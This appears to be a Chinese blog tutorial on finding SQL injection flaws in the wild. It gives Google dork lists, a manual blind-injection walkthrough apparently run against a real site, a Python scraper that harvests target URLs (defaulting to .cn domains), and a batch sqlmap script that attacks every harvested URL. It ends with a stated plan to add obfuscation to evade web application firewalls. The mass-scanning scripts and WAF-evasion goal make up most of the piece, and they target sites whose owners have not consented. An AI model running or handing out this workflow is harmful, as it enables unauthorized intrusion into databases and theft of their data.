文章目录
- 前言
- 一、sql注入的分类
- 注入漏洞存在位置
- 二、漏洞挖掘
- Google语法
- 疑似注入点手工挖掘
- 批量挖取此类漏洞
- 已知sql注入漏洞挖掘
- 总结
- 免责声明:
前言
2021年OWASP发布漏洞威胁榜单,SQL注入从第一名下降到第三(https://owasp.org/Top10/),SQL注入是一种常见的Web攻击技术,通过构造恶意的SQL语句来破坏数据库安全。攻击者可以通过提交带有恶意代码的输入,例如网页表单,来控制数据库执行恶意语句。这样,攻击者可以访问敏感信息,修改数据,甚至删除整个数据库。
为了防范SQL注入攻击,开发人员应该使用参数化查询或存储过程,并对用户输入进行严格的验证和过滤。这样可以确保用户输入不会被作为恶意代码注入到数据库中。
一、sql注入的分类
- 数字型注入:使用数字代替字符串来绕过数据验证。
- 字符型注入:使用字符串作为SQL语句的一部分来构造恶意代码。
- 时间型注入:使用时间数据类型作为SQL语句的一部分来构造恶意代码。
- UNION型注入:使用UNION操作符来合并多个查询的结果。
- 报错型注入:通过诱导数据库产生错误来获取数据。
- 基于盲注的注入:通过查询询问数据库中的数据来获取敏感信息。
注入漏洞存在位置
-
用户输入的表单:Web应用程序中经常使用表单来收集用户的输入数据,如用户名、密码、搜索关键字等。如果应用程序没有正确验证和过滤用户输入数据,攻击者就可以在输入框中注入恶意的SQL语句,从而绕过应用程序的访问控制和数据过滤机制,对应用程序进行攻击。
-
URL参数:Web应用程序也经常从URL中获取参数,例如搜索查询、页面过滤等。如果应用程序没有正确验证和过滤URL参数,攻击者就可以修改URL参数中的值,构造恶意的SQL语句进行攻击。
-
Cookie数据:Web应用程序有时会将数据存储在用户的Cookie中,如果攻击者可以修改这些Cookie数据,就可以通过注入恶意的SQL语句来攻击应用程序。
-
隐藏表单:Web应用程序中有些表单是隐藏的,用户无法直接访问或编辑,但攻击者可以通过特殊的手段修改这些隐藏表单的值,从而构造恶意的SQL语句进行攻击。
-
HTTP请求头:某些Web应用程序也会从HTTP请求头中获取参数,如用户代理、IP地址等。如果应用程序没有正确验证和过滤这些参数,攻击者就可以构造恶意的SQL语句进行攻击。
事例:登录位置
表单反馈位置:
搜索框位置
留言板等
参数传递:
二、漏洞挖掘
Google语法
后面跟任意值
inurl:php?id=
inurl:asp?id=
inurl:index.php?id=
inurl:news.php?id=
inurl:product.php?id=
inurl:category.php?id=
inurl:detail.php?id=
inurl:download.php?id=
inurl:gallery.php?id=
inurl:login.php?user=
更多规则:https://www.buzztouch.com/applications020113/JA56066181BD8600604F8D687/documents/customHTML_D6743F2710E179C07158D34.html
疑似注入点手工挖掘
加个单引号试一下
发现报错,这是一个典型的布尔盲注
通过order by 判断为21列
判断数据库名的长度
22’ and length(database())>6
22’ and length(database())>7 时报错说明数据库名有6个字符
id=22' and mid(database(),1,1)='a' --+
id=22' and mid(database(),1,1)='h' --+当为h时为正常显示说明数据库的第一个字母为h
布尔盲注建议使用工具进行测试,手工太慢,这里我们使用sqlmap工具进行下一步查询
跑出来发现是和我们手工注入一样的结果,字段为21个数据库名以h开头的,到此为止不在进行利用。
批量挖取此类漏洞
使用脚本批量爬取可疑url进行测试
注意:此爬虫一个规则只能爬取100条数据,并对不规则数据进行去除。
import re
import requests
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings()
USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0"
site = ".cn"
queries = []
with open("queries.txt", "r") as f:
queries = [query.strip() for query in f.readlines()]
num = 100
results = []
for query in queries:
query = query.replace(' ', '+')
URL = f"https://google.com/search?q={query}&num={num}"
headers = {"user-agent": USER_AGENT}
resp = requests.get(URL, headers=headers, verify=False)
if resp.status_code == 200:
soup = BeautifulSoup(resp.content, "html.parser")
for g in soup.find_all('div'):
anchors = g.find_all('a')
if anchors:
for anchor in anchors:
try:
link = anchor.get('href')
if re.match(r'^/url\?q=', link):
link = re.sub(r'^/url\?q=', '', link)
link = re.sub(r'&sa=.*', '', link)
if link and link.find('search?q') == -1 and link.find('google.com') == -1:
if link.startswith("http://") or link.startswith("https://"):
if link not in results:
results.append(link)
except:
pass
with open("urls.txt", "w") as f:
for result in results:
f.write(result + "\n")
使用方法:创建queries.txt存放规则
执行python程序即可爬取,爬取完成会生成url.txt文件。
使用sqlmap的批量脚本进行测试
import os
import sys
import argparse
import time
def main():
# 创建一个命令行参数解析器
parser = argparse.ArgumentParser(description="批量扫描 SQL 注入漏洞")
# 添加参数
parser.add_argument('-i', '--input', required=True, help="包含要扫描的URL的文件路径")
parser.add_argument('-o', '--output', default='output.txt', help="保存扫描结果的文件路径")
parser.add_argument('-p', '--params', default='id', help="指定需要测试的参数名,多个参数用逗号分隔")
parser.add_argument('-t', '--threads', default='10', help="同时进行扫描的线程数")
# 解析参数
args = parser.parse_args()
# 读取要扫描的URL列表
with open(args.input, 'r') as f:
urls = f.readlines()
# 遍历URL列表,对每个URL进行扫描
for url in urls:
url = url.strip()
if not url.startswith('http'):
url = 'http://' + url
cmd = 'sqlmap -u "{}" -p "{}" --threads {} --batch -o -f -m "{}" > {} 2>&1 &'.format(url, args.params, args.threads, args.output, args.output)
# 执行扫描命令
os.system(cmd)
# 等待一段时间,确保扫描结果已经写入到文件中
time.sleep(10)
# 输出有漏洞的URL
with open(args.output, 'r') as f:
lines = f.readlines()
for line in lines:
if '[*]' in line and 'GET' in line:
start = line.index('\'') + 1
end = line.index('\'', start)
print(line[start:end])
if __name__ == '__main__':
main()
使用说明:
-i:URl列表
-p:参数多个参数用逗号隔开
-t:为线程数
-o:结果输出文件
python sqlmap_scan.py -i urls.txt -p id,name -t 5 -o results.txt
已知sql注入漏洞挖掘
在漏洞库中有许多已经公开的sql注入漏洞,可通过fofa、shodan、钟馗之眼等查找
自建漏洞库(镜像站):
http://peiqi.19xinan.cn/#/
http://0sec.19xinan.cn/#/
根据poc测试:
很容易发现漏洞,当然可以给漏洞写批量脚本进行批量挖掘。
总结
在挖掘的过程中学习漏洞产生的原因,复现和寻找源码中的漏洞进行提高自己水平,现在的sql注入漏洞已经改善不少随着网络安全的发展现在很多公司有waf防火墙,下一步计划加强上面的脚本加上代码混淆尝试绕过一些防火墙。
免责声明:
本文为作者个人观点,不代表本平台或任何其他机构的立场和观点。本文所包含的任何信息、观点和建议仅供参考和信息交流,读者应自行判断其适用性。
本文所涉及的任何产品、服务、企业、机构、网站或其他信息均为作者个人观点,不构成任何形式的推荐或背书。作者不对因读者根据本文内容采取的任何行动负责,也不承担任何责任。
本文的内容并不保证完全准确、全面或最新,且可能存在错误或遗漏。读者在参考本文内容时应自行进行验证和核实。任何因读者根据本文内容采取的任何行动造成的损失或损害,作者概不负责。
本文的版权归作者所有,未经作者许可,任何人不得擅自转载、复制或用于商业用途。如需转载或引用,请注明出处并联系作者。
最后,作者保留随时修改本文内容和免责声明的权利。请读者在使用本文内容时注意查看最新版本的免责声明。